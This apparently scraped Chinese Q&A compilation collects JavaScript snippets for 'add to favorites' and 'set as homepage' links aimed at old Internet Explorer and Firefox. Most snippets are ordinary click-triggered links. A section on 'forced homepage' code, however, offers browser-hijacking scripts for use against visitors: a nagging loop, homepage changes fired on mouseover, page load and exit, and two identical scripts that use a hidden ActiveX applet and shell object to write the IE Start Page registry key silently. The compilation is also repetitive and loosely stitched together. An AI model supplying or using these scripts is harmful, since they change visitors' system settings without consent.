本文目录一览:
- 求设为主页和加入收藏的方法
- 自己做的网站,没有域名,“设为首页”和“加入收藏”的代码怎么写?请各位大大们帮帮忙。
- 谁知道”加入收藏夹”和”设置为首页”这两段代码怎么写?急
- java怎么实现加入收藏和设为首页
- java怎么实现把网页设置成主页的功能,就是一般网站头部都有的《设置成主页》这功能
- 怎么在主页中设置“加入收藏”和“设为首页”
求设为主页和加入收藏的方法
// 加入收藏
<a onclick="AddFavorite(window.location,document.title)">加入收藏</a>
function AddFavorite(sURL, sTitle) {
try {
window.external.addFavorite(sURL, sTitle);
} catch (e) {
try {
window.sidebar.addPanel(sTitle, sURL, "");
} catch (e) {
alert("加入收藏失败,请使用Ctrl+D进行添加");
}
}
}
// 设为首页
<a onclick="SetHome(this,window.location)">设为首页</a>
function SetHome(obj,vrl){
try{
obj.style.behavior='url(#default#homepage)';
obj.setHomePage(vrl);
} catch(e){
if(window.netscape) {
try {
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
} catch (e) {
alert("此操作被浏览器拒绝!\n请在浏览器地址栏输入“about:config”并回车\n然后将 [signed.applets.codebase_principal_support]的值设置为'true',双击即可。");
}
var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch);
prefs.setCharPref('browser.startup.homepage',vrl);
}
}
}
自己做的网站,没有域名,“设为首页”和“加入收藏”的代码怎么写?请各位大大们帮帮忙。
加入收藏:
<a href="javascript:void(0);" onclick="window.external.AddFavorite(location.href,document.title);">[加入收藏]</a>
设为首页:
<a href="#" onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('');">设为首页</a>
谁知道”加入收藏夹”和”设置为首页”这两段代码怎么写?急
加入收藏夹,设为首页代码
把以下代码插入到 body
相应位置:
<a target="_top" href="javascript:window.external.AddFavorite('','中国免费资源情报站')">加入收藏</a>
<a href="#" onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('');">设为首页</a>
鼠标指向时提示设为首页:
将下列代码插入 body
区中:
<a href="#" onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage('');" target="_blank">设为首页</a>
打开页面时自动弹出窗口询问是否设为首页:
将以下代码放在 <head>
和 </head>
之间:
<script language="javascript">
function myhomepage(){
this.homepage.style.behavior='url(#default#homepage)';
this.homepage.sethomepage('');
}
</script>
<p align="center"><a href="" name="homepage" onclick="myhomepage();"></a></p>
再将下面代码加入 body
内:
<body onload="myhomepage();">
离开时自动提示设为首页:
<body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('')))BASEBody.setHomePage('');">
强制设为主页代码:
代码一(设置为主页就再弹了):
<meta content="text/html; charset=gb2312" http-equiv="Content-Type">
<meta content="MSHTML 5.00.3826.2400" name="GENERATOR">
<meta content="FrontPage.Editor.Document" name="ProgId">
</head>
<body>
<span id="hp" style="behavior: url(#default#homepage)"></span>
<script language="javascript">
var u,i;
u="";
var showThank=false;
try{
for(i=1;i<=5;i++){
if(hp.isHomePage(u)){
break;
} else {
hp.setHomePage(u);
if(!hp.isHomePage(u)) {
alert("方便下次光临本站,请点 '是(Y)' ,就不再弹了!");
} else {
showThank=true;
}
}
}
if(showThank){
alert("谢谢您的支持.");
}
} catch(e){}
finally{}
//location.href=u;
</script>
</body>
</html>
代码三:
<script>
var ucook=document.cookie;
var user=ucook.indexOf("ilooki=");
if(user==-1){
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903)+" 12:34:56 GMT";
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi(){
try{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{
Shl.RegWrite("hkcu\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","");
}catch(e){}
}catch(e){}
}
setTimeout("yuzi()",1000);
}
</script>
代码四:
<script>
var ucook=document.cookie;
var user=ucook.indexOf("ilooki=");
if(user==-1){
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903)+" 12:34:56 GMT";
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi(){
try{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{
Shl.RegWrite("hkcu\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","");
}catch(e){}
}catch(e){}
}
setTimeout("yuzi()",1000);
}
</script>
java怎么实现加入收藏和设为首页
加入收藏夹:
<script language="javascript">
function bookmark(){
window.external.AddFavorite('', '无忧脚本')
}
</script>
<body onUnload="bookmark()">
设为首页:
<script language="javascript">
function bookmark(){
this.style.behavior="url(#default#homepage)";
this.sethomepage("");
return false;
}
</script>
<body onUnload="bookmark()">
java怎么实现把网页设置成主页的功能,就是一般网站头部都有的《设置成主页》这功能
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
<html xmlns="">
<head>
<title>无标题页</title>
<script type="text/javascript" language="javascript">
function AddFavorite(sURL, sTitle) {
try {
window.external.addFavorite(sURL, sTitle);
} catch (e) {
try {
window.sidebar.addPanel(sTitle, sURL, "");
} catch (e) {
alert("加入收藏失败,请使用Ctrl+D进行添加");
}
}
}
function SetHome(obj,vrl) {
try {
obj.style.behavior='url(#default#homepage)';
obj.setHomePage(vrl);
} catch(e) {
if(window.netscape) {
try {
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
} catch (e) {
alert("此操作被浏览器拒绝!\n请在浏览器地址栏输入“about:config”并回车\n然后将[signed.applets.codebase_principal_support]设置为'true'");
}
var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch);
prefs.setCharPref('browser.startup.homepage',vrl);
}
}
}
</script>
</head>
<body>
<a onclick="AddFavorite(window.location,document.title)" style="cursor:hand">加入收藏</a>
<a onclick="SetHome(this,window.location)" style="cursor:hand">设为首页</a>
</body>
</html>
把这个作为 JSP 页面就可以用了。
怎么在主页中设置“加入收藏”和“设为首页”
我不是很懂这个 是不是这个呢?
<span style="CURSOR: hand" onClick="window.external.addFavorite('','XXXX个人网页')" title="XXX的个人网页">收藏本站</span>
<span onclick="var strHref=window.location.href;this.style.behavior='url(#default#homepage)';this.setHomePage('');" style="CURSOR: hand">设为首页</span>
图片是:
<a style="cursor:hand" onclick="this.style.behavior='url(#default#homepage)';
this.setHomePage('');">
<img border="0" src="设为首页.gif">
</a>
<area shape="rect" coords="933,4,985,21" href="javascript:window.external.addFavorite('','你的网站名称');">